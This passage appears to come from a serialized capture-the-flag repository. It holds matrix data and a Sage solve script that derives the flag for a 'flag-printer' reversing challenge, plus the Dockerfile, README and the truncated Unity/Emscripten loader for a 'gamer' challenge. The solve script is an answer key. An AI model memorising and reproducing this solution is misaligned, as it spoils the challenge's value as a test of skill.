794726090,3053533034,199768845,2455030068,1842016831,1728938928,1904966472,819547070,515931794,365594635,1524944948,1062101818,2646969235,3618312758,218187561,3664679984],[183092490,90118331,3084000559,3280662539,750636853,2929906440,3342735256,715374696,2286314746,175408665,597902294,2347629646,2568852438,2198391602,2777234479,904301206,2772823889,1710269006,3395472457,2779014019,3107473326,2525758515,484902152,3712338837,3272169022,1433152399,1621149346,1141522396,544218147,3609629219,844025120,1854986668,2721088206,2202102084,1286186503,588113924,354423348,3502346626,3679497051,3107921455,1743345420,2889415762,3347606232,1030596301,3248742797,665752796,58380748,3131946549,2696584967,2107052619],[2898185687,1705484801,1972671819,1600431853,3058746775,2645089103,1433124942,893378285,360554998,1655954565,3202903021,2029117986,1069419124,156975313,2159969464,2992327767,495718964,3215331356,3378830789,1750283094,757799731,3212600852,1744416118,2897342065,958222710,2125129684,120957069,2387268576,745852888,585462512,2061973462,753264371,132390356,1238778017,3637946954,196959958,1735247331,1977074706,3383249010,1087566953,3597806093,1225005441,3105258785,600948041,944948519,1657286187,2057185501,2572171858,3705516558,1907312396],[1274962641,852481909,3640693291,3077694424,3632544564,3175799930,3431830581,1924344903,1815122172,1369349069,3633231048,292086541,3581261969,1743690489,1846138567,3177093398,876493618,318013533,1761606825,354850497,3585734770,383520317,3013864051,1634768282,2403053040,2542465478,1635990356,2726488558,2192588223,481863928,1306613510,1554409012,1185976111,3403144559,1379161083,1447604996,2316818873,1285125790,814457073,1374904803,1895133783,784051094,1408299663,3006704274,1940349714,938402245,856583102,3041121874,1481337216,1537929079],[770540112,1309162334,1840967639,507553407,3297660501,2600493869,2888603720,1520510696,2608775370,1310928545,2525916692,3338828200,250980840,3600453368,709023189,451278278,2950232014,1822254149,1317898250,2089556943,1222039910,1762230515,3383286044,174068526,2432594394,3576311382,881179979,1503823199,2968938040,1130306514,1967563470,2475941588,1463095682,1784121660,3073661297,3675299255,750432719,551924414,3583155570,129534826,3132723773,156945304,2130396642,1389571378,58505703,298743161,1928448822,2538234897,1467313231,2425008606],[3058107316,2020353736,206595472,1735812044,1875018076,2718116420,1494050135,413822610,2440692451,1703619374,1893980174,1332325686,2481167844,2020685460,3113382519,1107038029,3423754753,1760252656,675530399,1788643945,2405955391,3601393591,98335819,1797054689,510363616,132175905,1989619372,2054750116,765443703,50754731,13995875,500618183,3513335538,928119048,740769345,1290055784,1828754797,1035750035,1167895279,3676562081,2736550112,2915099913,2287625120,3226977019,537432614,567456255,3448580218,3724777304,2149069368,3599987539],[3679258364,2091449116,2294295916,238242520,976034646,3030033323,1176270819,800116104,2149671627,3039582509,3649977576,1075379,3562202907,1825116015,3462484475,2120175262,2640391258,1668360134,313339901,1482724766,1831908323,966549135,131150491,3478976157,1956331924,1507698878,2847576260,640379944,489545362,2747564970,1552219309,2544152963,1329147195,176045122,978788734,2690374436,1925424163,528425356,134711637,2033968989,1619728652,3207207301,3492529134,2215440863,908307054,457998890,1848001189,1475865431,1079003089,2624027541],[2320927571,805533778,3073845128,1415228808,1448458821,2596780268,3509598942,1199988025,3549382092,2946063491,2322301913,2487079491,580036955,2750595934,2091982036,3567529142,3430043867,2070995001,257742843,3550271035,2215241123,2790639060,2362925648,2690611037,714110115,1304981132,3063246343,1106429515,417205886,2576049566,239065021,1238645325,2867191522,1343499821,3068497337,3030639587,2884821068,1588110524,1170719047,1939396801,1452674163,1106537205,2390004761,3063520479,2927322038,1211220383,1526958227,3259904932,3144905103,3125110437],[2883746202,15592572,1626093556,2225578698,3352772574,3349724322,357475023,1760278034,1453471563,2982758125,3359182247,871813456,2605244379,91301587,123763403,2379319870,3189395375,150589464,1808844187,167845379,1230062572,2384145845,3692658529,3160325951,2004521156,3058569313,296690801,2507268409,3280542830,670928650,3508189714,1532209421,3628888196,1241707958,828900632,95090839,1123661051,3573580833,3129683369,2276532867,3627796097,1568923668,2645774890,2116542594,3077331564,417047787,264485572,2090379641,705537189,2192543375],[1064221306,757380202,2795203024,1865313499,2861026118,1156649330,1480650516,20306387,1798715563,1801184636,3216179331,2189502325,2117630487,2301170783,3368483629,1792827573,3099367829,2569816374,1586960447,956014192,3155208159,2455360859,3062632673,1855260742,2934058383,1712040747,2111725300,3365258140,3436398096,1335364933,2236776048,82008645,1168397160,2802476016,3266172852,3146323231,51404319,3455018028,2753951460,2141497437,1578060909,3049929584,3408382791,2058203036,303253091,2314935223,1252548743,801565338,211048797,2389426899],[405358413,3363180635,289935908,534721983,2841901497,3743713201,474231246,577878823,1395809008,3234334462,2398589016,3664154008,1776735806,844138072,2883857414,31304575,2548935900,3617158030,588313457,3609427504,3692279253,3024638522,1148371802,1386603353,2256358440,2143715972,2301281379,508935043,1263779501,2104458554,2941146856,2867356220,3600159855,735538369,103354885,657970498,3093168305,1959211166,688937207,1678404713,3328628383,183772892,3378789971,3371509846,1178517050,3397590651,3373323031,3435069056,263829526,3097223023],[1881390997,98125064,1353926662,635608027,1947802850,3149832439,1156515425,3362665943,969829907,3431295765,2999889554,2757789327,73644112,555403443,930619613,1337986232,150293444,2884122875,394605393,3452522657,3705185472,3090008631,3619501771,3531472620,2737225125,3656419357,693455034,308444152,2983704268,1478095570,2307465685,3120503775,1433682343,1801206035,437654799,1028953324,920973193,1791364762,2027890667,1422910278,537782854,2601778365,2316590081,1863527498,373984929,1989287622,363738263,1844593673,859592315,3724993654],[3578774169,3664975502,313321623,1429116584,1027949869,1681806439,2651276667,1441275709,534377000,3715817781,1061650297,477845165,879900790,389364867,2852587678,1971084959,2021744840,1535721401,2580485399,79839176,2917667990,3527271324,1267160739,1289889403,385059230,1179349640,2272834615,179627697,212828602,629431466,2190557622,94817532,572930584,915066740,3438394179,2851123481,2105644132,217131420,953820339,2671673845,3432242421,3650981880,437159108,3721791876,3094346719,3106850618,1244503699,2774114818,3435205471,2365198996],[232611885,1963591182,53903864,2848670270,1899411123,2066134171,2920424936,664287993,916082853,2843339774,187003447,2921989157,1373480576,2339946854,3047361324,661847767,1425915985,138968534,2027860254,3183419300,2245590901,2182800302,951164216,3415196315,2805665465,831235193,2171124159,3492939593,3236548433,2666840812,3211733850,371638472,3726244471,454221344,3565539039,1030876789,1165423804,263476671,3119811660,2469065385,2083746035,640988500,2283731900,416842312,2766794734,3521857304,535263182,936385229,510081529,143243643],[1864491799,1169690285,3431326237,3432087948,2243605552,2608973485,643456284,866578604,1708463279,1907291459,343097496,2022414848,2895991756,1178535156,3275349644,1030126876,1133935721,1758735257,3362767382,1465908249,2263603288,3558880499,1570917564,2902439855,1507805014,937673896,2246951417,1441736387,217169770,2384343494,362013264,940497492,2148262087,1545510551,1035900672,2776512283,2627074054,2950156054,3494885863,1263230272,3686165884,269366205,1615064116,1408274042,1091824547,3498065593,2308351703,1070433531,827119749,121906243],[1669765000,723165608,2021074535,2158782750,2137259120,2951534343,1458686674,464193153,1735808708,2301940622,2515751234,2737402101,458593073,1122630444,3308830,311542189,2306311408,854387116,3398201046,1593185463,2899226452,2074508456,1801089738,2467610046,2636058344,743228219,990083359,1074583380,3239008405,450688438,482027626,2803746358,1297113860,2481852092,1246596859,2374609442,277114456,3658062737,2326627589,2424421979,3459523914,1128836189,2908623689,2339588028,3230209462,1358125971,3455972804,2728138706,972416857,946571134],[1087824872,2550048742,3419722719,3047108633,3212980240,751904208,1126684998,2942265987,32688543,2946139364,488435312,2910830195,1222544092,2409766987,2928160273,570176743,1992099069,429227946,544675191,555361835,468054905,3102912812,3536516099,1502720075,1856805986,1947333043,3169768876,247940275,2734497456,3495315879,96692387,2638454198,2086323969,17869543,2353626337,3182305392,795116850,848052656,2244484590,3742616359,1610228960,3493616155,2736827896,902841591,63475423,2229871821,422601904,1334897280,822188871,1317301077],[1102235129,3009517125,996139468,1688059813,2542660864,2406524287,2792078030,2583635628,3546690644,2228188667,3199264548,736914605,33484953,1880874005,1083977412,2440120231,2106482004,227484810,2979832768,3030993908,3666713374,1372360804,1474571174,2769291555,2986739391,1122381412,1765120389,1249433851,2891331075,1291435792,2957109121,3490748657,3755259204,2157892002,2500985114,728715305,1454299100,1906062793,3110341103,93770138,3638788033,53491098,2174166306,2693214268,623348726,3510863941,2925200610,1559424235,2758585887,3367488646],[1958998047,1542170072,1658692691,3598899219,841511768,1599621306,952980325,116138378,1500765554,3452607660,1919954488,2803395353,3738309029,239407124,3282823247,3567284642,891375715,257293800,865952733,2069566506,3095022872,3488410996,2145594922,3702787308,2506638805,2633835952,2477024379,3264122063,731016146,2411272902,2478403434,2146418739,2752786582,2248943930,1936712662,2000971496,3373205659,1595681204,2684152898,2888921321,375125967,3323103683,3715314583,3655619588,3555015328,132789848,3332469825,1991178442,392148832,1083530118],[21240011,2573123981,1687759871,404425082,794105057,818447079,1502137969,3659649147,364556272,561800583,3009571923,1630307172,600546745,1755491112,1153679068,1363083983,2830478799,1227514949,1746191160,2876061425,2394885329,1896869105,1472453879,2348915643,863069963,2798258063,123081072,2143764970,3731442183,1590802048,3757275158,1431240946,2358979498,1977858223,1152732928,290752542,1860546015,3560122626,1389631437,2114250735,3464962565,3232536325,3504015440,3242244225,2953330037,2833915364,3364517700,1174209509,3075252822,2288370814],[1126987496,1501527409,527459918,2050735308,3567324855,1922854073,479130665,3044395568,1819360136,612935465,2240942186,358401619,2806068464,1676379970,539180263,519730550,1112754544,542762466,2746951808,802709148,587118474,3684731285,853580533,2729422057,2770868150,2899835532,3257562753,3722125303,1850828331,1058649344,1938526751,2549969988,351894394,3517747925,1702775032,1152303529,2949638439,3434675932,2121537439,704396458,1435093351,213081152,839951525,3471412800,459768430,387656569,2801432213,2431281293,1680541803,2866513375],[3112522962,439086695,2535467054,2660671835,2478449215,3282125155,2585346927,2336596234,2116668509,2724243349,495705686,2621099988,2627631933,3562063823,856051797,3069457544,2571597699,3613269266,3583124730,3518710424,931520100,2656893610,3681627959,805354225,2620233429,3576335206,79442516,621935138,2540045245,2483443981,762854768,3344844500,2298090600,1228941055,1431350169,1487358861,2296775532,65949078,2090066618,501740402,901282516,2488824224,2242410811,1951195301,1963616621,1853605757,2767090975,3555595265,342589767,2151795857],[137213056,3479178812,1608296225,2497941287,1748237497,2996378958,2485856238,2419230818,1507487499,1195472593,2829177251,89419099,2231491783,502331004,1200848595,1169779430,2320103790,285691431,3620341437,1676495143,972723270,2576226192,767559362,2089112784,2899729841,666217620,2730448692,328797639,1758823896,2628511958,3320033104,3313353387,2431583923,3081244697,1333317798,163663994,2072318481,575088782,2664698781,2116505793,2483729145,869306761,769484312,1899647160,3626757813,3758019561,1153942916,3763911796,937625915,1383582632],[3077763635,1603638498,3424158482,1275246255,2846971403,2107618919,1267881752,1834495385,3297738950,1976996023,3112839373,716852945,2873266280,1113270859,636237109,3408443557,744501535,2086962042,967472613,640340045,2875593531,1864392208,3059850086,1856214814,1492029424,1054010375,2586832925,2541488130,2159770840,640290292,3742011420,280400788,2616931214,2316185182,190402256,735766139,3317462778,3372638941,3532387449,417229473,3600701718,320173781,294316741,1626761718,1210100594,1063835895,1947479122,2016434810,2450679049,672657509],[3339735991,897340317,700120660,1090417302,3638986910,2565686077,1397340225,1105527144,3460199106,1968225801,987459255,2734891212,869569302,1829209499,2695302749,2217520154,3591093729,3277277908,3424150028,2373735326,3718080898,1013838677,1093685214,1416852720,2474927637,3213452283,179096020,186891920,2498112820,266805105,3211675315,307721440,2465093951,2132298061,2446536040,909515810,3743041929,2595696707,2687820558,1419189619,328038585,3301980902,99157005,3371930049,642112138,2105818136,1611676138,1004951398,3246342825,2238608293],[3082203896,779478986,800753067,2544654249,3707190355,2487555435,730062797,3021227716,1300688074,3136159046,3228538391,2580689217,520067187,1045722076,2233867586,500936470,3560457043,3402273837,1479723368,2960141438,1599395227,758856038,2734365357,294911123,1350793926,847922801,99795737,1937653598,2511682306,456231162,3498776369,1224304410,828744015,357670566,2181035533,2718266346,303279929,1981750379,3726068438,44747814,2328532001,909376571,1896003219,1614165657,298937470,2846402476,3302566154,1510950659,2611490369,2674839617],[888348752,1133669212,903058757,1447229650,2885391991,3051072648,3689869649,2960443954,3296499892,1623027763,3192386725,8094240,689653355,1520983221,1079371066,2903127408,2031840850,807813256,2717547579,1430016808,2755628785,1094278458,2049718283,3678205057,1397483831,1418302080,2994148163,3170006951,3763220094,2008146061,693557878,343641562,3010021907,3291410507,2980661055,3464328358,980208432,1237219243,1212176911,21527645,1823543831,1505705027,2266894359,1193613773,1029224023,2072934097,821447656,122163626,3011494870,1709190740],[572032492,1742799755,622203699,1990971048,2200813532,1093676354,129587458,3049544838,2335844598,681472390,2067430314,1762007063,1169616275,2796014119,2704049620,1579136606,2562849364,1096683462,2243466935,1197341357,2079849369,2618723520,2367169438,3725754585,79224923,2433517007,2109153124,633482690,277072853,2181449524,1486898750,1696114860,2941456459,1321855907,2222239940,1738813305,1412712857,363652619,1655126167,3474047499,1292298924,1286797646,721558813,1321744963,934572783,788410230,3462081957,735548365,3237552867,2014480302],[2443581928,2629044494,2929877426,1417452299,3086997296,3339930328,1555318642,854995864,221113717,1759263767,1922225146,3081878165,138700058,782864536,617832684,328683920,371260424,322149596,1169017890,3011449339,2227246308,2782922050,1522834698,586083032,1951810981,2958238874,2223140161,3161147328,3615143086,2795822625,1952630473,2858177129,2836371839,2313481233,1731230889,3555349291,1707284829,3766363386,157561866,2016720182,706828007,1687976276,1412933115,1750590907,996184917,1823048833,2646746610,2267152345,2444414172,998630083],[587333621,310156137,3355247080,1314075109,3032269560,1875318389,2765713631,858314541,189245532,2164478906,1996771117,3353067970,2454361405,1048564701,3011465869,1383313976,3227313964,7564695,3226481917,291020981,1435333153,681765524,1877672081,3186092455,2906658246,1503126783,1013478355,2009133067,2534496755,1153444832,2925607286,498598356,2142935273,1132282580,2502271947,3173760092,2467228754,1548718219,3273794428,1171220372,3008854867,1994794440,901364504,1251008544,2733172404,3511438686,895342334,432264184,770093820,2556392141],[1918971970,2695447413,3476985700,3716778587,2573379155,3210347369,311739004,2245057409,3038939001,3152755557,227091997,1841761296,2381435181,1670743841,3467617157,150716533,351713561,3636902216,3034718917,3098515143,384914113,1738579990,2931076678,308643652,722245155,1010204191,146056504,3414466780,1138036909,1897640220,725602628,746179454,691238210,2141324715,2673021564,1801042693,224002150,3335136366,631261115,2764389477,3703565279,3662447940,900070714,1223810344,1545990843,1523176106,2205543619,2192658646,2784313461,2535960659],[2618215929,664885787,3485744101,2332749682,3208339369,797562757,1247992358,1808921151,615173465,992018296,3050312998,3262311116,953990984,1003781469,3169165466,1655736834,456576589,1899517563,1785561909,17814740,628872080,1615684301,3672234507,2127738447,644827895,1490149031,3282575539,1076239840,2259318536,2283724268,836120892,1110600668,1145039065,2965952849,2113327989,653865815,1037517340,2680335625,1585877706,834949936,1131517029,1077447013,3404553720,3201631407,25296594,1184267774,2642902876,322054530,1332804429,1579798812],[1615449259,810686413,420859381,1088145434,2843372348,1344782869,3502449932,2699378506,2325994605,289394089,380056729,2736145851,3316373480,281169077,3559126811,79687797,35214829,354411754,786006187,1776179412,1864511514,769287181,3525141072,2543250729,67084487,1269630182,1446673176,3665319468,3294347411,2715833468,3181977480,48460794,3727225009,1304305554,2631399345,3105522803,2913210321,3252739392,2545711169,1633980367,3505490605,37918822,711882501,2546817411,3709512867,494046109,2948934814,1680264064,984633276,124746954],[887057695,2297594474,3782145,939493914,1904246726,3204970718,2862968942,3702610896,500808269,2244900857,2400525976,661301049,2802836282,1504239944,1277780899,2226551718,3350408786,3008171728,1734864381,1579532362,1786694056,2115915130,572329435,3670728657,2187118390,3733221253,758741885,3332173858,2988211023,3310008592,3047726463,2469633021,1874749837,2220078403,1256948568,783563187,2141111514,2186018378,2202878591,2038934394,1605199679,1901021231,3369987570,1000846950,3013582602,3630786760,1940592320,889861576,2193674458,3254130619],[3319909284,1223192178,213956235,3560809321,468064382,3660962117,3255499152,2485410543,423451158,1616084700,1058505898,3011687560,2401220937,3741525790,3727593059,1522793489,69243682,520850579,3054299507,1398324458,3511394062,1412532454,1082164064,3197589863,1712327550,2760312557,2405989732,2248291223,409043291,2482112014,2884187534,1615307687,1963792963,949180869,655249092,957902331,2632168388,916347252,3316609064,3315484818,598270475,197177572,210113519,422945198,823927384,120456038,969872095,2029265490,828791531,3760291296],[664541702,2170377453,3029695308,620663010,747662965,1861258831,3158897039,1042303581,1346597382,1453211928,1860946587,1925148467,3430870855,496416537,2861380702,1768221075,1529558076,3595695195,3145237623,61089976,3390343104,749823870,2562468389,367958797,3158463147,1670138296,2098123764,1582719853,490262482,1556682063,2297495827,3733996531,3758763566,695105493,3141819288,2473116805,2611342681,928847324,2163015124,1307784184,3735275259,1747860942,1929234225,400840607,554712569,3622262846,1984356438,1217831934,3093655988,1981224211],[66695444,2291497564,168878503,561077345,1528420681,160045640,1185629594,2562006372,3329253552,2374962814,2197548956,3332822667,1100930894,1290841174,3205170593,81433993,2845571887,756991255,1187931638,3599331473,2612001049,318819803,2869957020,2722031909,834837474,506259860,57787478,3435182268,1517675052,2914243168,2782054265,2199715189,3389352909,1345034517,422603442,3171690736,2557557732,3202208566,1301434945,2522589026,2439600028,2027309260,2082820037,2183527887,1714934324,1064866459,1150898677,1327906030,1343013680,825841428],[1610477345,1216023035,2399966390,1100246275,733242934,2589638558,2979355618,307154211,3229374333,1573841216,2753973897,1391987671,537856787,3339991497,292638728,1265758520,2760721823,713198881,3650518262,3034604920,31809939,628847114,3628315178,1903470581,3653012460,3270953028,2838551710,359701567,415943441,1279268078,2443008271,1502716549,3734393983,398584424,529245748,2694054137,1214898315,1049070819,1952519154,2416386245,2208224713,3167172,2633268197,254682487,194636521,3679984677,1354413045,3674267596,1219178517,1597876951],[537773387,1125926470,2066451346,1758621408,2013426741,2629869998,3751705847,3694622337,1880214556,764435422,929509132,2271938123,1418502549,3297802056,1003235417,2555714124,2909258121,3178262417,2437332137,2755031948,2710432310,194476639,2818008818,1988089217,3765955324,328744866,3719559822,2780679092,2694177703,3605852811,3361132766,2601509748,1428506641,320325684,1761391690,3752958643,2730531541,1845707158,2171409425,3424795218,723101334,1127202786,1025850705,1588924241,2565475321,1305681907,617410534,1592537575,791736048,521454892],[2679828270,1524260712,1898373347,1501574914,71191931,1744412944,2859120874,140306064,1647891267,100564867,807038880,1904405253,3390482759,3341926256,1479916775,1417055469,3002523121,3720962954,1711824149,1750231632,275791799,454011644,1261143730,3155318923,3173402406,1914975466,3720146551,3086559041,1149801504,1168353574,2527697326,3251160890,186714027,3417819418,244673216,706551115,1465962010,2739444153,2709998068,716502085,2073319403,572172128,2061873479,3247331073,3537856407,2008244223,3396379806,3213593742,2093329368,1542980394],[1416960101,2446450232,2812831888,715252167,2753649519,1114351682,196443115,3010871017,1925975953,1174034806,1400802390,636288248,1899131533,2473662436,3002666043,1552754651,2747462881,271947,3147380456,2583270331,2467792115,730821059,300300665,225715461,525507938,807593978,1756147363,2769788146,1252259814,1016419751,2774270878,3683203618,2980878901,2121397732,2567271876,2382397220,2521849326,3719465372,1020409016,731369717,1776884914,1960819902,3389050553,1518348284,321078399,1227826911,3046682043,3143321285,110848790,649106031],[149462953,649936592,1774957487,1070699070,916164905,2174971158,11805996,2545895,2082750657,725986402,941950720,2971423628,640732530,310065100,1649640191,3386237865,2247252013,1467376321,1939388912,1204475413,1541279505,618918704,3180912247,704340454,2325596758,1177756008,944054997,2886925952,499553249,3725600514,3186893187,1895930807,2058182451,2089629147,1509030820,813211298,1683383271,1325568098,520208985,878394667,2666301698,2522763771,2020828838,2944358956,3466091570,453576721,997893504,3759025543,3009133341,602236643],[594896905,3617869389,3479784781,1748156598,2267196233,3545381859,1429344349,526952029,967439063,2579516509,814295492,34515690,2630880414,907797381,2653721688,1491037370,3252881935,833008477,106497783,1087962179,3028090195,1077467326,2846823471,3460805791,2161703788,59197078,3019364661,2283490770,844984715,3387169637,668244516,1967500565,2508894350,2444813634,501682468,1345548027,1790026742,1627526280,814638917,3272914594,1513395669,60770168,116053005,497652669,812647737,3632673217,2479431312,1877141180,1444704962,1326865387],[213092281,1579632423,970910451,624932142,2065230860,1612258966,3131803777,1669741048,3169991843,2716567152,330926347,1185891827,1227833182,2341275726,2737648428,908133308,1070610949,3714774377,3662024745,2063116099,2461123463,584725935,1649807310,519032404,2432901708,1258948160,515786162,1992664596,1661829439,3126029013,1329617997,1600814767,3215343724,1282355027,549661843,2899105002,1455139081,949029597,1402495176,1344312222,244980405,3140241770,3206445699,387017856,2634939448,156047537,439732343,3212377642,803006456,2066843014],[3595453426,3139767312,3346420938,1352876988,1823352019,1594699279,3641765463,3232079054,1319283505,1079616683,1216875479,2410701491,673958609,2543401509,2045505971,3269751652,871704239,1089115407,616268095,54335650,2964490483,1628809106,132373176,754207619,104906306,1372412843,2744148785,1932708804,1192744243,1029447420,3373360807,174531415,3514005063,2810979347,1306291625,3402300531,2155716836,1602233419,29162609,1826640511,2040271062,1689293441,3351578245,292743522,3704890187,2291286376,1829926797,2290879836,3147148886,431161274],[632597651,204651939,2301258628,54989168,1168351348,2503668239,3294370181,233124526,2908523243,1210596319,703596728,610957244,1982447456,3229858407,2607045413,2212115125,3052883719,1563587094,3151868162,2814234722,118866535,2083288200,848901998,55362724,677467320,1743325507,513382024,2241382148,882174819,2229134515,2588240050,788076648,2367990188,2998458028,652545569,1608073636,2087280313,3723382373,654078468,3638578518,3037303131,1968490017,3394440942,2817707736,3615357125,755376642,545503952,1348123339,3553489172,1526971917]]\n"
  },
  {
    "path": "rev/flag-printer/solve/solve.sage",
    "content": "from data import M\n\nxs = [182, 710, 103, 47, 14, 212, 85, 196, 136, 52, 260, 20, 627, 474, 86, 3, 59, 199, 76, 141, 244, 73, 243, 124, 71, 67, 126, 162, 103, 78, 59, 41, 3, 415, 68, 41, 81, 6, 293, 24, 198, 134, 137, 406, 148, 57, 53, 150, 176, 96, 82, 371, 102]\n\np = 3766999387\nF = GF(p)\nn = 50\nMS = MatrixSpace(F, n)\nM = MS(M)\nD, P = M.diagonalization()\n\ndef fast_exp(P, D, k):\n    return P * MS.diagonal_matrix([x^k for x in D.diagonal()]) * ~P\n\ndef sum_entries(M, p=127):\n    return sum(map(int, M.list())) % p\n\ny = 2\nFLAG = ''\nM_ = M\nfor x in xs:\n    M_ *= fast_exp(P, D, y + x)\n    c = chr(sum_entries(M_))\n    y = (y*y) % (p-1)\n    FLAG += c\nprint(FLAG)\n"
  },
  {
    "path": "rev/gamer/Dockerfile",
    "content": "FROM caddy:2.4.3-alpine\n\nCOPY ./challenge/Caddyfile /etc/caddy/Caddyfile\nCOPY ./challenge/index.html /www/\nCOPY ./challenge/Build/ /www/Build/\nCOPY ./challenge/TemplateData/ /www/TemplateData/\n"
  },
  {
    "path": "rev/gamer/README.md",
    "content": "# gamer\n\n**Category:** reversing\n\n**Difficulty:** medium\n\n**Author:** joseph#8210\n\nAre you a pro gamer? Beat (hack) this game and prove it!\n\n[LINK TO GAME]\n"
  },
  {
    "path": "rev/gamer/challenge/Build/game.framework.js",
    "content": "function unityFramework(Module) {\nvar Module=typeof Module!==\"undefined\"?Module:{};;var stackTraceReference=\"(^|\\\\n)(\\\\s+at\\\\s+|)jsStackTrace(\\\\s+\\\\(|@)([^\\\\n]+):\\\\d+:\\\\d+(\\\\)|)(\\\\n|$)\";var stackTraceReferenceMatch=jsStackTrace().match(new RegExp(stackTraceReference));if(stackTraceReferenceMatch)Module.stackTraceRegExp=new RegExp(stackTraceReference.replace(\"([^\\\\n]+)\",stackTraceReferenceMatch[4].replace(/[\\\\^${}[\\]().*+?|]/g,\"\\\\$&\")).replace(\"jsStackTrace\",\"[^\\\\n]+\"));var abort=(function(what){if(ABORT)return;ABORT=true;EXITSTATUS=1;if(typeof ENVIRONMENT_IS_PTHREAD!==\"undefined\"&&ENVIRONMENT_IS_PTHREAD)console.error(\"Pthread aborting at \"+(new Error).stack);if(what!==undefined){out(what);err(what);what=JSON.stringify(what)}else{what=\"\"}var message=\"abort(\"+what+\") at \"+stackTrace();if(Module.abortHandler&&Module.abortHandler(message))return;throw message});if(typeof ENVIRONMENT_IS_PTHREAD===\"undefined\"||!ENVIRONMENT_IS_PTHREAD){Module[\"preRun\"].push((function(){var unityFileSystemInit=Module[\"unityFileSystemInit\"]||(function(){FS.mkdir(\"/idbfs\");FS.mount(IDBFS,{},\"/idbfs\");Module.addRunDependency(\"JS_FileSystem_Mount\");FS.syncfs(true,(function(err){if(err)console.log(\"IndexedDB is not available. Data will not persist in cache and PlayerPrefs will not be saved.\");Module.removeRunDependency(\"JS_FileSystem_Mount\")}))});unityFileSystemInit()}))}Module[\"SetFullscreen\"]=(function(fullscreen){if(typeof runtimeInitialized===\"undefined\"||!runtimeInitialized){console.log(\"Runtime not initialized yet.\")}else if(typeof JSEvents===\"undefined\"){console.log(\"Player not loaded yet.\")}else{var tmp=JSEvents.canPerformEventHandlerRequests;JSEvents.canPerformEventHandlerRequests=(function(){return 1});Module.ccall(\"SetFullscreen\",null,[\"number\"],[fullscreen]);JSEvents.canPerformEventHandlerRequests=tmp}});var MediaDevices=[];if(typeof ENVIRONMENT_IS_PTHREAD===\"undefined\"||!ENVIRONMENT_IS_PTHREAD){Module[\"preRun\"].push((function(){var enumerateMediaDevices=(function(){var getMedia=navigator.getUserMedia||navigator.webkitGetUserMedia||navigator.mozGetUserMedia||navigator.msGetUserMedia;if(!getMedia)return;function addDevice(label){label=label?label:\"device #\"+MediaDevices.length;var device={deviceName:label,refCount:0,video:null};MediaDevices.push(device)}if(!navigator.mediaDevices||!navigator.mediaDevices.enumerateDevices){if(typeof MediaStreamTrack==\"undefined\"||typeof MediaStreamTrack.getSources==\"undefined\"){console.log(\"Media Devices cannot be enumerated on this browser.\");return}function gotSources(sourceInfos){for(var i=0;i!==sourceInfos.length;++i){var sourceInfo=sourceInfos[i];if(sourceInfo.kind===\"video\")addDevice(sourceInfo.label)}}MediaStreamTrack.getSources(gotSources)}navigator.mediaDevices.enumerateDevices().then((function(devices){devices.forEach((function(device){if(device.kind==\"videoinput\")addDevice(device.label)}))})).catch((function(err){console.log(err.name+\": \"+error.message)}))});enumerateMediaDevices()}))}function SendMessage(gameObject,func,param){if(param===undefined)Module.ccall(\"SendMessage\",null,[\"string\",\"string\"],[gameObject,func]);else if(typeof param===\"string\")Module.ccall(\"SendMessageString\",null,[\"string\",\"string\",\"string\"],[gameObject,func,param]);else if(typeof param===\"number\")Module.ccall(\"SendMessageFloat\",null,[\"string\",\"string\",\"number\"],[gameObject,func,param]);else throw\"\"+param+\" is does not have a type which is supported by SendMessage.\"}Module[\"SendMessage\"]=SendMessage;var moduleOverrides={};var key;for(key in Module){if(Module.hasOwnProperty(key)){moduleOverrides[key]=Module[key]}}Module[\"arguments\"]=[];Module[\"thisProgram\"]=\"./this.program\";Module[\"quit\"]=(function(status,toThrow){throw toThrow});Module[\"preRun\"]=[];Module[\"postRun\"]=[];var ENVIRONMENT_IS_WEB=false;var ENVIRONMENT_IS_WORKER=false;var ENVIRONMENT_IS_NODE=false;var ENVIRONMENT_IS_SHELL=false;ENVIRONMENT_IS_WEB=typeof window===\"object\";ENVIRONMENT_IS_WORKER=typeof importScripts===\"function\";ENVIRONMENT_IS_NODE=typeof process===\"object\"&&typeof require===\"function\"&&!ENVIRONMENT_IS_WEB&&!ENVIRONMENT_IS_WORKER;ENVIRONMENT_IS_SHELL=!ENVIRONMENT_IS_WEB&&!ENVIRONMENT_IS_NODE&&!ENVIRONMENT_IS_WORKER;var scriptDirectory=\"\";function locateFile(path){if(Module[\"locateFile\"]){return Module[\"locateFile\"](path,scriptDirectory)}else{return scriptDirectory+path}}if(ENVIRONMENT_IS_NODE){scriptDirectory=__dirname+\"/\";var nodeFS;var nodePath;Module[\"read\"]=function shell_read(filename,binary){var ret;if(!nodeFS)nodeFS=require(\"fs\");if(!nodePath)nodePath=require(\"path\");filename=nodePath[\"normalize\"](filename);ret=nodeFS[\"readFileSync\"](filename);return binary?ret:ret.toString()};Module[\"readBinary\"]=function readBinary(filename){var ret=Module[\"read\"](filename,true);if(!ret.buffer){ret=new Uint8Array(ret)}assert(ret.buffer);return ret};if(process[\"argv\"].length>1){Module[\"thisProgram\"]=process[\"argv\"][1].replace(/\\\\/g,\"/\")}Module[\"arguments\"]=process[\"argv\"].slice(2);if(typeof module!==\"undefined\"){module[\"exports\"]=Module}process[\"on\"](\"uncaughtException\",(function(ex){if(!(ex instanceof ExitStatus)){throw ex}}));process[\"on\"](\"unhandledRejection\",(function(reason,p){process[\"exit\"](1)}));Module[\"quit\"]=(function(status){process[\"exit\"](status)});Module[\"inspect\"]=(function(){return\"[Emscripten Module object]\"})}else if(ENVIRONMENT_IS_SHELL){if(typeof read!=\"undefined\"){Module[\"read\"]=function shell_read(f){return read(f)}}Module[\"readBinary\"]=function readBinary(f){var data;if(typeof readbuffer===\"function\"){return new Uint8Array(readbuffer(f))}data=read(f,\"binary\");assert(typeof data===\"object\");return data};if(typeof scriptArgs!=\"undefined\"){Module[\"arguments\"]=scriptArgs}else if(typeof arguments!=\"undefined\"){Module[\"arguments\"]=arguments}if(typeof quit===\"function\"){Module[\"quit\"]=(function(status){quit(status)})}}else if(ENVIRONMENT_IS_WEB||ENVIRONMENT_IS_WORKER){if(ENVIRONMENT_IS_WEB){if(document.currentScript){scriptDirectory=document.currentScript.src}}else{scriptDirectory=self.location.href}if(scriptDirectory.indexOf(\"blob:\")!==0){scriptDirectory=scriptDirectory.split(\"/\").slice(0,-1).join(\"/\")+\"/\"}else{scriptDirectory=\"\"}Module[\"read\"]=function shell_read(url){var xhr=new XMLHttpRequest;xhr.open(\"GET\",url,false);xhr.send(null);return xhr.responseText};if(ENVIRONMENT_IS_WORKER){Module[\"readBinary\"]=function readBinary(url){var xhr=new 